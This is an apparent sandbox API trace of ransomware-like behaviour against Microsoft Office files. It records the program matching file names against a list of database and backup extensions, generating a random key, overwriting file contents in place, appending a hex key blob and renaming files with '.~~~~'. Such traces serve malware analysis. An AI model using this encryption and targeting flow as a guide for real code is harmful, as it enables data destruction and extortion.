	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.933] lstrlenW (lpString=".db") returned 3
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".db") returned 0x0
	[0145.933] lstrlenW (lpString=".TXT") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.933] lstrlenW (lpString=".MDF") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.933] lstrlenW (lpString=".bdb") returned 4
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.933] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.934] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.935] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.935] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.935] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26592498800) returned 1
	[0145.935] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0643a10, dwHighDateTime=0x1d60e1e)) 
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f780
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f780 | out: hHeap=0x300000) returned 1
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7680
	[0145.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.936] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.936] GetLastError () returned 0x0
	[0145.936] GetLastError () returned 0x0
	[0145.936] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.936] GetLastError () returned 0x0
	[0145.936] GetLastError () returned 0x0
	[0145.937] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.938] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.938] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0145.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.938] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.938] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.938] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.938] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.938] CloseHandle (hObject=0x104) returned 1
	[0145.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0210
	[0145.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.~~~~")) returned 1
	[0145.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.941] GetLastError () returned 0x0
	[0145.941] RtlWakeConditionVariable () returned 0x0
	[0145.942] GetCurrentThreadId () returned 0x9cc
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".scr") returned 0x0
	[0145.942] lstrlenW (lpString=".cmd") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".cmd") returned 0x0
	[0145.942] lstrlenW (lpString=".dll") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dll") returned 0x0
	[0145.942] lstrlenW (lpString=".bat") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".bat") returned 0x0
	[0145.942] lstrlenW (lpString=".cpl") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".cpl") returned 0x0
	[0145.942] lstrlenW (lpString=".sys") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".sys") returned 0x0
	[0145.942] lstrlenW (lpString=".msc") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".msc") returned 0x0
	[0145.942] lstrlenW (lpString=".com") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".com") returned 0x0
	[0145.942] lstrlenW (lpString=".lnk") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".lnk") returned 0x0
	[0145.942] lstrlenW (lpString=".msp") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".msp") returned 0x0
	[0145.942] lstrlenW (lpString=".pif") returned 4
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".pif") returned 0x0
	[0145.942] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0145.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.134] lstrlenW (lpString=".sqb") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".sqb") returned 0x0
	[0146.134] lstrlenW (lpString=".ost") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".ost") returned 0x0
	[0146.134] lstrlenW (lpString=".txt") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".txt") returned 0x0
	[0146.134] lstrlenW (lpString=".mdt") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".mdt") returned 0x0
	[0146.134] lstrlenW (lpString=".BDB") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".BDB") returned 0x0
	[0146.134] lstrlenW (lpString=".eql") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".eql") returned 0x0
	[0146.134] lstrlenW (lpString=".DBF") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DBF") returned 0x0
	[0146.134] lstrlenW (lpString=".EQL") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".EQL") returned 0x0
	[0146.134] lstrlenW (lpString=".FDB") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".FDB") returned 0x0
	[0146.134] lstrlenW (lpString=".EDB") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".EDB") returned 0x0
	[0146.134] lstrlenW (lpString=".DACPAC") returned 7
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DACPAC") returned 0x0
	[0146.134] lstrlenW (lpString=".VHD") returned 4
	[0146.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".VHD") returned 0x0
	[0146.135] lstrlenW (lpString=".DBV") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DBV") returned 0x0
	[0146.135] lstrlenW (lpString=".dacpac") returned 7
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dacpac") returned 0x0
	[0146.135] lstrlenW (lpString=".sdf") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".sdf") returned 0x0
	[0146.135] lstrlenW (lpString=".accdb") returned 6
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".accdb") returned 0x0
	[0146.135] lstrlenW (lpString=".DBX") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DBX") returned 0x0
	[0146.135] lstrlenW (lpString=".MDT") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".MDT") returned 0x0
	[0146.135] lstrlenW (lpString=".SQB") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".SQB") returned 0x0
	[0146.135] lstrlenW (lpString=".vhd") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".vhd") returned 0x0
	[0146.135] lstrlenW (lpString=".bac") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".bac") returned 0x0
	[0146.135] lstrlenW (lpString=".mdf") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".mdf") returned 0x0
	[0146.135] lstrlenW (lpString=".BAK") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".BAK") returned 0x0
	[0146.135] lstrlenW (lpString=".BAC") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".BAC") returned 0x0
	[0146.135] lstrlenW (lpString=".dbs") returned 4
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dbs") returned 0x0
	[0146.135] lstrlenW (lpString=".vhdx") returned 5
	[0146.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".vhdx") returned 0x0
	[0146.135] lstrlenW (lpString=".NDF") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".NDF") returned 0x0
	[0146.136] lstrlenW (lpString=".dat") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dat") returned 0x0
	[0146.136] lstrlenW (lpString=".DBS") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DBS") returned 0x0
	[0146.136] lstrlenW (lpString=".CKP") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".CKP") returned 0x0
	[0146.136] lstrlenW (lpString=".edb") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".edb") returned 0x0
	[0146.136] lstrlenW (lpString=".PST") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".PST") returned 0x0
	[0146.136] lstrlenW (lpString=".dbf") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dbf") returned 0x0
	[0146.136] lstrlenW (lpString=".SQL") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".SQL") returned 0x0
	[0146.136] lstrlenW (lpString=".pst") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".pst") returned 0x0
	[0146.136] lstrlenW (lpString=".dbv") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dbv") returned 0x0
	[0146.136] lstrlenW (lpString=".SDF") returned 4
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".SDF") returned 0x0
	[0146.136] lstrlenW (lpString=".dtxs") returned 5
	[0146.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dtxs") returned 0x0
	[0146.137] lstrlenW (lpString=".db3") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".db3") returned 0x0
	[0146.137] lstrlenW (lpString=".OST") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".OST") returned 0x0
	[0146.137] lstrlenW (lpString=".dbx") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dbx") returned 0x0
	[0146.137] lstrlenW (lpString=".DB3") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DB3") returned 0x0
	[0146.137] lstrlenW (lpString=".DAT") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DAT") returned 0x0
	[0146.137] lstrlenW (lpString=".VHDX") returned 5
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".VHDX") returned 0x0
	[0146.137] lstrlenW (lpString=".ndf") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".ndf") returned 0x0
	[0146.137] lstrlenW (lpString=".DB") returned 3
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DB") returned 0x0
	[0146.137] lstrlenW (lpString=".sql") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".sql") returned 0x0
	[0146.137] lstrlenW (lpString=".MYD") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".MYD") returned 0x0
	[0146.137] lstrlenW (lpString=".DBT") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DBT") returned 0x0
	[0146.137] lstrlenW (lpString=".ACCDB") returned 6
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".ACCDB") returned 0x0
	[0146.137] lstrlenW (lpString=".fdb") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".fdb") returned 0x0
	[0146.137] lstrlenW (lpString=".bak") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".bak") returned 0x0
	[0146.137] lstrlenW (lpString=".myd") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".myd") returned 0x0
	[0146.137] lstrlenW (lpString=".DTXS") returned 5
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".DTXS") returned 0x0
	[0146.137] lstrlenW (lpString=".ckp") returned 4
	[0146.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".ckp") returned 0x0
	[0146.138] lstrlenW (lpString=".dbt") returned 4
	[0146.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".dbt") returned 0x0
	[0146.138] lstrlenW (lpString=".db") returned 3
	[0146.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".db") returned 0x0
	[0146.138] lstrlenW (lpString=".TXT") returned 4
	[0146.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".TXT") returned 0x0
	[0146.138] lstrlenW (lpString=".MDF") returned 4
	[0146.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".MDF") returned 0x0
	[0146.138] lstrlenW (lpString=".bdb") returned 4
	[0146.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".bdb") returned 0x0
	[0146.138] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0146.138] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395fc0) returned 1
	[0146.139] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0146.139] CryptReleaseContext (hProv=0x395fc0, dwFlags=0x0) returned 1
	[0146.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0146.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.139] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26612937246) returned 1
	[0146.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0832bf0, dwHighDateTime=0x1d60e1e)) 
	[0146.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0146.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0146.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0146.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1f40
	[0146.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f40 | out: hHeap=0x300000) returned 1
	[0146.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870430
	[0146.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.140] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.140] GetLastError () returned 0x0
	[0146.140] GetLastError () returned 0x0
	[0146.140] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.140] GetLastError () returned 0x0
	[0146.141] GetLastError () returned 0x0
	[0146.141] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x608, lpOverlapped=0x0) returned 1
	[0146.142] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff9f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.143] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x608, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x608, lpOverlapped=0x0) returned 1
	[0146.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.143] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.143] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
